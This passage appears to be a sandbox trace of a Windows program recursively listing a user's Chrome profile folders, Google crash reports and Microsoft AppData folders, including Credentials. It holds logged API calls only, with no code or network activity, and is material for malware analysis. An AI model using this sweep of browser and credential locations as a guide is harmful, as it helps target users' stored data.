ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84251e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84251e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639948 [0279.576] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*", lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8448d2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8448d2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0279.580] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0279.581] GetProcessHeap () returned 0x550000 [0279.581] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0279.581] FindClose (in: hFindFile=0x639948 | out: hFindFile=0x639948) returned 1 [0279.581] GetProcessHeap () returned 0x550000 [0279.582] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26220a8 | out: hHeap=0x550000) returned 1 [0279.582] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\*", lpFindFileData=0x2cede68 | out: lpFindFileData=0x2cede68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x868593b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x868593b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639948 [0279.582] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\*", lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86989eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86989eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639988 [0279.585] FindClose (in: hFindFile=0x639988 | out: hFindFile=0x639988) returned 1 [0279.586] GetProcessHeap () returned 0x550000 [0279.586] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0279.586] FindClose (in: hFindFile=0x639948 | out: hFindFile=0x639948) returned 1 [0279.586] GetProcessHeap () returned 0x550000 [0279.586] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26220a8 | out: hHeap=0x550000) returned 1 [0279.586] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0279.586] GetProcessHeap () returned 0x550000 [0279.586] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26120a0 | out: hHeap=0x550000) returned 1 [0279.586] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0279.590] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0279.590] GetProcessHeap () returned 0x550000 [0279.590] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0279.590] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0279.590] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0279.590] GetProcessHeap () returned 0x550000 [0279.590] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0279.590] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0279.590] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0279.590] GetProcessHeap () returned 0x550000 [0279.590] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0279.591] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0279.591] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0279.591] GetProcessHeap () returned 0x550000 [0279.591] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0279.591] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0279.591] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0279.591] GetProcessHeap () returned 0x550000 [0279.591] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0279.591] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0279.595] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0279.595] GetProcessHeap () returned 0x550000 [0279.595] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0279.595] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0279.595] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0279.596] GetProcessHeap () returned 0x550000 [0279.596] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0279.596] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0279.596] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0279.596] GetProcessHeap () returned 0x550000 [0279.596] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0279.596] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0279.596] GetProcessHeap () returned 0x550000 [0279.596] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2602098 | out: hHeap=0x550000) returned 1 [0279.596] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0279.596] GetProcessHeap () returned 0x550000 [0279.596] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0279.598] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0279.598] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0279.599] GetProcessHeap () returned 0x550000 [0279.599] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0279.599] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0279.599] GetProcessHeap () returned 0x550000 [0279.599] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0279.599] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0279.599] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0279.599] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0279.599] GetProcessHeap () returned 0x550000 [0279.599] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0279.599] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0279.600] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0279.600] GetProcessHeap () returned 0x550000 [0279.600] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0279.600] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0279.615] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0279.620] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0279.621] GetProcessHeap () returned 0x550000 [0279.621] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0279.621] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0279.622] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d69eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d69eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0279.622] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0279.622] GetProcessHeap () returned 0x550000 [0279.622] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0279.622] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0279.622] GetProcessHeap () returned 0x550000 [0279.622] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0279.622] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0279.622] GetProcessHeap () returned 0x550000 [0279.622] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0279.622] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0279.714] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0279.714] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0279.714] GetProcessHeap () returned 0x550000 [0279.714] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0279.714] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0279.715] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0279.715] GetProcessHeap () returned 0x550000 [0279.715] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0279.715] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0279.715] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0279.715] GetProcessHeap () returned 0x550000 [0279.715] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0279.715] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0279.715] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0279.715] GetProcessHeap () returned 0x550000 [0279.715] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0279.716] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0279.716] GetProcessHeap () returned 0x550000 [0279.716] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0279.716] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d1d6940, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0279.716] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0279.716] GetProcessHeap () returned 0x550000 [0279.716] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0279.716] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IME12\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0279.716] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0279.716] GetProcessHeap () returned 0x550000 [0279.716] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0279.717] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0279.725] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0279.725] GetProcessHeap () returned 0x550000 [0279.725] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3712058 | out: hHeap=0x550000) returned 1 [0279.725] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0279.848] FindClose (in: 